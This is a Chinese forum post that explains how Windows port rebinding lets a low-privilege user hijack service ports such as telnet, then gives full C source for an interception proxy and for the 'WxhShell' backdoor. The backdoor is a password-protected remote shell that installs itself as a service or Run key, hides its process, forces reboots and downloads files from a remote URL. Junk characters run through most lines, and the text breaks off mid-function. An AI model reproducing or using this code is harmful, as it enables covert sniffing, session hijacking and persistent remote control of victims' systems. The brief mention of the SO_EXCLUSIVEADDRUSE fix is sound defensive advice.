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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D zl#[|q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o"QpV >x  
wF3mQ_hv:@  
  saddr.sin_family = AF_INET; =NyzX&H6  
o.}^6.h"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I2K52A+  
~g>15b3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w&:h^u  
3)42EM'9(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +S0A`rL  
"LXLUa03  
  这意味着什么?意味着可以进行如下的攻击: >JCSOI  
5 MQRb?[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2tn%/gf'm  
( 9dV%#G\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q7c_;z_  
gY*Cl1 Iz  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 a-i#?hld  
>`,v?<>+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h`3;^T  
y^M'&@F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2Ni{wg"  
p c-'+7Dh>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?ADk`ts~,}  
,ISq7*%F  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /:awPYGH<1  
4Z]^v4vb  
  #include hw~cS7  
  #include sPc\xY  
  #include :GL|:  
  #include    )2rI/=R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `yuD/-j  
  int main() Kau*e8  
  { mO> [kb"V'  
  WORD wVersionRequested; nW|[poQK  
  DWORD ret; .fD k5uo  
  WSADATA wsaData; 5bZ`YO  
  BOOL val; ^T^U:Zdq  
  SOCKADDR_IN saddr; 7Dm^49H  
  SOCKADDR_IN scaddr; _DJ0 MR~3  
  int err; }$ AC0  
  SOCKET s; (W@ ypK@  
  SOCKET sc; gfr``z=>O  
  int caddsize; tQ2*kE  
  HANDLE mt; cpE&Fba}"  
  DWORD tid;   - *yj[?6  
  wVersionRequested = MAKEWORD( 2, 2 ); xn}'!S2-b  
  err = WSAStartup( wVersionRequested, &wsaData ); 4eIu@ ";!  
  if ( err != 0 ) { RJtSHiM2  
  printf("error!WSAStartup failed!\n"); B8a!"AQ~5  
  return -1; c1:op@t  
  } cteHuRd  
  saddr.sin_family = AF_INET; nMVThN*I g  
   L{gFk{@W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hj4A&`2  
( !Ml2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); aty K^*aX  
  saddr.sin_port = htons(23); d5zzQ]|L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vZ|-VvG  
  { %Yd}},X_E  
  printf("error!socket failed!\n"); %o{vD&7\  
  return -1; ^OA}#k NTW  
  } AvV.faa  
  val = TRUE; 1 !\pwd@{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 rx^pGVyg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RKBjrSZg8  
  { yUH8  
  printf("error!setsockopt failed!\n"); *]Vx=7 D  
  return -1; v3]q2*`G#  
  } ]L_HnmD6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z,] fR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q2/Vt0aYx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w"l8M0$m  
MGmtA(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) yyA/x,  
  { 9qqEr~  
  ret=GetLastError(); IndNR:"g  
  printf("error!bind failed!\n"); _$=xa6YA  
  return -1; %F}`;>C3  
  } ^kXDEKm  
  listen(s,2); wh~~g qi9  
  while(1) crhck'?0  
  { 3'.OghI  
  caddsize = sizeof(scaddr); *dKA/.g  
  //接受连接请求 nt5 ~"8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }]n&"=Zk-  
  if(sc!=INVALID_SOCKET) 1":{$A?OB  
  { (bT\HW%m  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); slPFDBx  
  if(mt==NULL) m,.d< **  
  { ipbVQ7  
  printf("Thread Creat Failed!\n"); !'[sV^ ds  
  break; i_=P!%,  
  } tDi=T]-bt  
  } |"@E"Za^  
  CloseHandle(mt); U2Ur N?T  
  } 3PJ  
  closesocket(s); > ZNL pJQ  
  WSACleanup(); |MBnRR  
  return 0; |RpC0I  
  }   "`3H0il;<  
  DWORD WINAPI ClientThread(LPVOID lpParam) c/hml4  
  { Te.hXCFD  
  SOCKET ss = (SOCKET)lpParam; ']dTW#i  
  SOCKET sc; E+01"G<Q  
  unsigned char buf[4096]; p"X\]g^jA>  
  SOCKADDR_IN saddr; 7f(UbO@BD  
  long num; '1mygplW  
  DWORD val; bVVa5? HP  
  DWORD ret; G +YF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p*N+B o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i&l$G55F  
  saddr.sin_family = AF_INET; :4 ;>).  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); INkrG.=u  
  saddr.sin_port = htons(23); 16] O^R;r  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2AlLcfAW  
  { ^@)+P/&  
  printf("error!socket failed!\n"); %%f=aPw  
  return -1; 'LX=yL]I  
  } CtE".UlCA  
  val = 100; !k[ zUti  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !.F\v .  
  { .*,Zh2eXU  
  ret = GetLastError(); 0W>O,%z&P#  
  return -1; ?+TD2~rD(  
  } ZHB'^#b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NyGF57v[M  
  { kQ:2@SOm  
  ret = GetLastError(); !Q?4sAB  
  return -1; cJty4m-  
  } 7'<4'BGzl]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R vY`9D  
  { ;Lu}>.t  
  printf("error!socket connect failed!\n"); k%LE"Q  
  closesocket(sc); ]f-e/8$`@  
  closesocket(ss); iff U}ce  
  return -1; rDSt ~ l  
  } RJ-CWt [LG  
  while(1) gVuN a)  
  { 0zfrx-'zN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z,NHH):~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bM!`C|,[s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c1z5t]d   
  num = recv(ss,buf,4096,0); T xN5K`q  
  if(num>0) ?W|POk}  
  send(sc,buf,num,0); 0(..]\p^d  
  else if(num==0) }^iE|YKz  
  break; >LNl8X:Cz*  
  num = recv(sc,buf,4096,0); : Z.mM5  
  if(num>0)  ^@ux  
  send(ss,buf,num,0); Z uE 0'9  
  else if(num==0) PJ_|=bn  
  break; Sj*H4ZHD<&  
  } I4)vJ0  
  closesocket(ss); ~7=,)Q  
  closesocket(sc); E8503  
  return 0 ; $~2A o[  
  } *[jaI-~S  
q8p 'bibY  
~7k b4[  
========================================================== v:+se6HY?p  
NfSe(rd  
下边附上一个代码,,WXhSHELL [IYs4Y5  
/2z 2a-!r  
========================================================== H#ihU3q  
U_J|{*4S.!  
#include "stdafx.h" O=mJ8W@  
D`gY6wX  
#include <stdio.h> cEN^H  
#include <string.h> c]O4l2nCL  
#include <windows.h> x^ Wgo`v)  
#include <winsock2.h> 57#:GN$EL  
#include <winsvc.h> .c',?[S/vH  
#include <urlmon.h> IQ|~d08}  
;CC[>  
#pragma comment (lib, "Ws2_32.lib") .FC1:y<aO  
#pragma comment (lib, "urlmon.lib") abF_i#  
lyT~>.?{  
#define MAX_USER   100 // 最大客户端连接数 5n"'M&Ce  
#define BUF_SOCK   200 // sock buffer 0lEIj/u  
#define KEY_BUFF   255 // 输入 buffer C{,nDa?|  
':fVb3A[*d  
#define REBOOT     0   // 重启 +Y \#'KrA  
#define SHUTDOWN   1   // 关机 rVO+ vhih  
yK{~  
#define DEF_PORT   5000 // 监听端口 }b{N[  
.$r(":A#)  
#define REG_LEN     16   // 注册表键长度 @U9ov >E  
#define SVC_LEN     80   // NT服务名长度  g6~uf4;  
i\3`?d  
// 从dll定义API N_T;&wibO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7[K$os5al  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tV T(!&(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )cvC9gt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S2Wxf>b t2  
a([cuh.  
// wxhshell配置信息 -yC},tK  
struct WSCFG { [3\}Ca1  
  int ws_port;         // 监听端口 BeVQ [  
  char ws_passstr[REG_LEN]; // 口令 +`9T?:fu  
  int ws_autoins;       // 安装标记, 1=yes 0=no VJPt/Dy{  
  char ws_regname[REG_LEN]; // 注册表键名 :0]KIybt  
  char ws_svcname[REG_LEN]; // 服务名 =T+<>/[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _|#)tWy}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g{i( 4DHm(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (l$bA_F \  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f-3lJ?6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1|Fukx<@J<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yDHH05Yl  
BK-{z).)  
}; tW 9vo-{+  
QYg2'`(  
// default Wxhshell configuration m. XLpD  
struct WSCFG wscfg={DEF_PORT, mH;\z;lyK  
    "xuhuanlingzhe", d^,u"Z9P  
    1, r% qgLP{v  
    "Wxhshell", &OsJnkY<<  
    "Wxhshell", \[Q,>{^  
            "WxhShell Service", &'i>5Y  
    "Wrsky Windows CmdShell Service", /9i2@#J}W1  
    "Please Input Your Password: ", /5SBLp}Sy  
  1, $_NVy>\&  
  "http://www.wrsky.com/wxhshell.exe", X\uN:;?#W{  
  "Wxhshell.exe" X62GEqff  
    }; hg |DpP  
\]GBd~i<  
// 消息定义模块 CGPPo;RjK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EdLbVrN,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +1_NB;,e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l&[x)W  
char *msg_ws_ext="\n\rExit."; 7mt;qn?n  
char *msg_ws_end="\n\rQuit."; 6 fL=2a  
char *msg_ws_boot="\n\rReboot..."; 4y:yFTp  
char *msg_ws_poff="\n\rShutdown..."; tpU[KR[-  
char *msg_ws_down="\n\rSave to "; w8c71C  
RlC|xj"l%  
char *msg_ws_err="\n\rErr!"; (xy/:i".V  
char *msg_ws_ok="\n\rOK!"; )}tI8  
$O?&!8);,  
char ExeFile[MAX_PATH]; +q6/'ErN]m  
int nUser = 0; 7"FsW3an  
HANDLE handles[MAX_USER]; %;~Vc{Xxt/  
int OsIsNt; 0p)#!$  
j!F5gP-l  
SERVICE_STATUS       serviceStatus; srLXwoN[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r ".*l?=  
jEo)#j];`<  
// 函数声明 Se{}OG)  
int Install(void); 0NL~2Qf_4  
int Uninstall(void); Uf4A9$R.G  
int DownloadFile(char *sURL, SOCKET wsh); \C#X Kk$OE  
int Boot(int flag); hxZ5EKBy  
void HideProc(void); !:]CKbG  
int GetOsVer(void); 5<^ $9('  
int Wxhshell(SOCKET wsl); 6j/g/!9c!  
void TalkWithClient(void *cs); &e0BL z  
int CmdShell(SOCKET sock); ?0*,x)t  
int StartFromService(void); fh,kbn==r?  
int StartWxhshell(LPSTR lpCmdLine); G)t_;iNL|  
UuPXo66F ]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); > mk>VM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >pdWR1ox  
qQ6rF nA  
// 数据结构和表定义 lJb1{\|.,  
SERVICE_TABLE_ENTRY DispatchTable[] = j*Uz.q?  
{ ZRHK?wg'#  
{wscfg.ws_svcname, NTServiceMain}, !?)ky `S3  
{NULL, NULL} rZ'&'#Q  
}; u a%@Ay1|  
-Y>,\VEK  
// 自我安装 QP>tu1B|  
int Install(void) !:Z lVIA  
{ aG_@--=  
  char svExeFile[MAX_PATH]; (w[#h9j  
  HKEY key; /|s~X@%K  
  strcpy(svExeFile,ExeFile); 3']a1\sy^  
x%_VzqR`  
// 如果是win9x系统,修改注册表设为自启动 nwS @r  
if(!OsIsNt) {  m#K)%0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #ME!G/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;*u"hIl1/  
  RegCloseKey(key); 'Dn\.x^]1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _+7+90u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ah 2*7@U  
  RegCloseKey(key); U_Jchi,!  
  return 0; |VX )S!  
    } [x%[N)U3  
  } lQl!TW"aO  
} \+M6R<Qw  
else { _"%hcCMw  
|E?PQ?P  
// 如果是NT以上系统,安装为系统服务  Zh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yopC <k  
if (schSCManager!=0) <uYrYqN  
{ O*7vmPy  
  SC_HANDLE schService = CreateService @>fsg-|  
  ( Y1Q240  
  schSCManager, a`e'HQ  
  wscfg.ws_svcname, dy>5LzqK3  
  wscfg.ws_svcdisp, FMOO  
  SERVICE_ALL_ACCESS, n1U!od  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LD*XNcE  
  SERVICE_AUTO_START, KS'n$  
  SERVICE_ERROR_NORMAL, tVv/G ~(  
  svExeFile, <78*-Ob  
  NULL, f\;w(_  
  NULL, $l $p|  
  NULL, v,'k 2H  
  NULL, 0GlQWRa  
  NULL aUF{57,<  
  ); ~GE|,Np  
  if (schService!=0) -5oYGLS$y3  
  { *knN?`(x  
  CloseServiceHandle(schService); NCdDG  
  CloseServiceHandle(schSCManager); #<~oR5ddlb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~470LgpO1  
  strcat(svExeFile,wscfg.ws_svcname); IL`LI J:O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ihJ!]#Fbm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .i {yW  
  RegCloseKey(key); Im?/#tX  
  return 0; Egz6rRCvg  
    } MDQ:6Ri  
  } |}2/:f#Iz*  
  CloseServiceHandle(schSCManager);  ,)uW`7  
} /6rQ.+|).  
} ScjeAC)  
&zd@cr1  
return 1; #D#kw*c  
} w_V A:]j4  
>0[:uu,'>  
// 自我卸载 8bQXC+bK  
int Uninstall(void) <2oMk#Ng^  
{ !4`:(G59  
  HKEY key; @-L\c>rqT  
} xA@3RT  
if(!OsIsNt) { O8A(OfX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  }D+ b`,  
  RegDeleteValue(key,wscfg.ws_regname); qO38vY){  
  RegCloseKey(key); g-jg;Ri  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o=#ym4hJ%  
  RegDeleteValue(key,wscfg.ws_regname); bI3GI:hp  
  RegCloseKey(key); Tt9cX}&&  
  return 0; gG@4MXq.  
  } @U3z@v]s(h  
} ev0>j4Q  
} `k*;%}X\  
else { `&.qHw)  
*5 9|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~\2%h lA  
if (schSCManager!=0) !Y r9N4  
{ ?{}P#sn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TDbSK&w :s  
  if (schService!=0) O9-`e  
  { Nd"IW${Kg  
  if(DeleteService(schService)!=0) { `R xCs`  
  CloseServiceHandle(schService); $T#fCx/  
  CloseServiceHandle(schSCManager); M9o/6  
  return 0; {$Uj&/IC  
  } j24DL+  
  CloseServiceHandle(schService); J_7@d]0R  
  } _68vSYr  
  CloseServiceHandle(schSCManager); ~4Gc~"  
} N$ #~&  
} ^n<YO=|u  
8m=R" %h  
return 1; BfCM\ij  
} u=qaz7E  
;]0d{  
// 从指定url下载文件 u?fM.=/N  
int DownloadFile(char *sURL, SOCKET wsh) @[?ZwzY:9  
{ 9B;WjXSe  
  HRESULT hr; C>x)jDb?  
char seps[]= "/"; 64#Ri!RR}  
char *token; 5,oLl {S'  
char *file; 3M+rFB}tS  
char myURL[MAX_PATH]; *P9"1K +  
char myFILE[MAX_PATH]; KPdlg.  
qgsw8O&  
strcpy(myURL,sURL); YPS,[F'B.  
  token=strtok(myURL,seps); U<U?&hB\@  
  while(token!=NULL) T%1Kh'92  
  { [ jgC`  
    file=token; &A~(9IV  
  token=strtok(NULL,seps); pOIfKd  
  } 6G>bZ+  
dhI+_z   
GetCurrentDirectory(MAX_PATH,myFILE); X$ 76#x  
strcat(myFILE, "\\"); rOXh?r  
strcat(myFILE, file); 2T}FX4'  
  send(wsh,myFILE,strlen(myFILE),0); e}q!m(K]e-  
send(wsh,"...",3,0); 4mF=A$Q_/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dV+GWJNNE  
  if(hr==S_OK) D5)qmu  
return 0; M9.jJf  
else |#D3~au   
return 1; VE+Q Y9(  
WX<),u2@  
} uU_lC5A|  
}8tD|t[  
// 系统电源模块 Iow45R~]  
int Boot(int flag) U0>Uqk",  
{ <4UF/G)  
  HANDLE hToken; |uL"/cMW7  
  TOKEN_PRIVILEGES tkp; _UU-  
]$7dkP  
  if(OsIsNt) { t$+[(}@ +  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :+u K1N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X|]&K  
    tkp.PrivilegeCount = 1; 93I.Wp_{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (b!`klQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &IYSoA"Nz  
if(flag==REBOOT) { h|m>JDxn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -hv<8bC~4  
  return 0; =XAFW  
} Y243mq-  
else { 4l)Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LYM(eK5V  
  return 0; Fh[Gq  
} Dx:2/"v  
  } znVao %b  
  else { pXL@&]U+  
if(flag==REBOOT) { 1 UyQ``v/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zI$24L9*  
  return 0; Fqr}zR)  
} O:^m#:[cE  
else { sPKyg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k~P{Rm;F  
  return 0; k-~HUC.A.  
} h_w_OCC&2  
} !Eof7LUE  
ww0m1FzX  
return 1; xQKD1#y  
} l>H G|ol  
@qGg=)T  
// win9x进程隐藏模块 W;^bc*a_  
void HideProc(void) \K,piCVViN  
{ 02_37!\  
HDTdOG)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Gkfc@[Z V  
  if ( hKernel != NULL ) jNO8n)a&p  
  { ;4g_~fB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I{V1Le4?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x>$! R\Cj  
    FreeLibrary(hKernel); e1k\:]6  
  } wn$:L9"YN  
[H3~b=  
return; j5cc"s  
} JMT?+/Qbu  
Q9~UL^bF  
// 获取操作系统版本 })l+-H"  
int GetOsVer(void) Q)l]TgvSe  
{ aoZ`C3  
  OSVERSIONINFO winfo; Qbc62qFu!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J{Z-4y  
  GetVersionEx(&winfo); t?-7Z6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D4"](RXH  
  return 1; :*2+t-  
  else GMw|@?:{  
  return 0; ]Mh7;&<6[  
} GQ-o wH]  
%;.|?gR  
// 客户端句柄模块 Cf_Ik  
int Wxhshell(SOCKET wsl) /WDz;,X  
{ D&WXa|EOK  
  SOCKET wsh; ?-FSDNQ  
  struct sockaddr_in client; HY]vaA`  
  DWORD myID; /HNZwbh]uJ  
g~L1e5C]z  
  while(nUser<MAX_USER) xNNoB/DR  
{ Sa&~\!0t  
  int nSize=sizeof(client); -=E/_c;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h(;qnV'c  
  if(wsh==INVALID_SOCKET) return 1; `>fN? He  
'aB0abr|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sz.(_{5!  
if(handles[nUser]==0) xDBEs*  
  closesocket(wsh); dXh@E 7  
else DytOS}/^9  
  nUser++; q{UP_6O F  
  } VI%879Z\e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]xfAdBi  
9p!V?cH#8  
  return 0; g1\4Jb  
} jlER_I]  
J p .wg  
// 关闭 socket tc@U_>{  
void CloseIt(SOCKET wsh) u+s#Fee I  
{ ',0~\V  
closesocket(wsh); .i/]1X*;r^  
nUser--; Ms(;B*  
ExitThread(0); w2~(/RgO  
} BzA(yCu$:  
@( 9#\%=  
// 客户端请求句柄 /-$`GT?l  
void TalkWithClient(void *cs) ]t1)8v2w>  
{ q4 'x'8  
V#!ypX]AB[  
  SOCKET wsh=(SOCKET)cs; tZa)sbz  
  char pwd[SVC_LEN]; %kJ:{J+w]  
  char cmd[KEY_BUFF]; ;sNyN#  
char chr[1]; "JVz v U]  
int i,j; 5S$HDO&  
HtEjM|zj  
  while (nUser < MAX_USER) { c ~YD|l  
D{.%Dr?  
if(wscfg.ws_passstr) { 7^KQQ([  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {L$b$u$7:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \\hZlCV,  
  //ZeroMemory(pwd,KEY_BUFF); uA!T@>vl  
      i=0; gKb4n Nt  
  while(i<SVC_LEN) { tb/u@}")  
AXPUJ?V  
  // 设置超时 l(=#c/f  
  fd_set FdRead; 9aZ3W<N`M  
  struct timeval TimeOut; lbg6n:@  
  FD_ZERO(&FdRead); v_c'npC  
  FD_SET(wsh,&FdRead); 6{lWUr  
  TimeOut.tv_sec=8; W %R h2l  
  TimeOut.tv_usec=0; M;iaNL(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6{'6_4;Fv(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R5"p7>  
jGn^<T\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <3=qLm  
  pwd=chr[0]; B36puz 0{  
  if(chr[0]==0xd || chr[0]==0xa) { 'z}M[h K]  
  pwd=0; l@r wf$-  
  break; 34wM%@D*c  
  } tQ/ #t<4D  
  i++; m+2`"1IE[  
    } RE $3| z  
Qy5Os?9"  
  // 如果是非法用户,关闭 socket w&yGYHg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lI_Yb:  
} o.3YM.B#  
X";Z Up  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DwmU fZp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2k}-25xxL  
)w2K&Zr0  
while(1) { +6hl@Fm(  
WAB0e~e:|Q  
  ZeroMemory(cmd,KEY_BUFF); n5+S"  
Np<&#s[dQ  
      // 自动支持客户端 telnet标准   .blft,'  
  j=0; \} Acq;  
  while(j<KEY_BUFF) {  /MqXwUbO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  S2&9# 6  
  cmd[j]=chr[0]; w^])(  
  if(chr[0]==0xa || chr[0]==0xd) { g 6VD_  
  cmd[j]=0; xd|~+4  
  break; 1<a@p}  
  } /MKNv'5&!%  
  j++; UV']NH h  
    } h41$|lonU%  
c.(Ud`jc  
  // 下载文件 @ )vy'qP d  
  if(strstr(cmd,"http://")) { z|3`0eWIG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _,_8X7  
  if(DownloadFile(cmd,wsh)) M'umoZmW0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %6A-OF  
  else mQJ4;BJw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5S%C~iB  
  } 3@^>#U   
  else { EO#gUv  
b JfD\  
    switch(cmd[0]) { &Y,Q>bu  
  T-9k<,>?  
  // 帮助 x.b; +p}=  
  case '?': { uxa=KM1H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )=jT_?9b   
    break; A\".t=+7  
  } rI0)F  
  // 安装  yS[z2:!  
  case 'i': { ,b<9?PM  
    if(Install()) T3PX gL)o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jHAWK9fa  
    else @Ex;9F,Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > P<z |8  
    break; v9%nau4  
    } \ V6   
  // 卸载 +XEjXH5K  
  case 'r': { !|B3i_n  
    if(Uninstall()) Bv^+d\*1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3az$:[Und}  
    else EdEoXY-2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PzjaCp'  
    break; }>V/H]B  
    } su&t7rJ  
  // 显示 wxhshell 所在路径 X Vw-G }5  
  case 'p': { $+Vmwd;  
    char svExeFile[MAX_PATH]; /xcJo g~F,  
    strcpy(svExeFile,"\n\r"); "YJ[$TG  
      strcat(svExeFile,ExeFile); DU;[btK>  
        send(wsh,svExeFile,strlen(svExeFile),0); Iz#yQ`  
    break; =H[\%O~?b  
    } NCa~#i:F8  
  // 重启 ;SgD 5Ln}  
  case 'b': { *B1x`=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &i5:)d]L  
    if(Boot(REBOOT)) 8O6_iGTBh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P/ci/y_1  
    else { =_[2n?9y  
    closesocket(wsh); czI{qi5N  
    ExitThread(0); .(|+oHg<  
    } eJ)1K  
    break; /}Yqf`CZy  
    } s`"OM^[-  
  // 关机 .d~\Ysve  
  case 'd': { ;7rd;zJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p%F8'2)}  
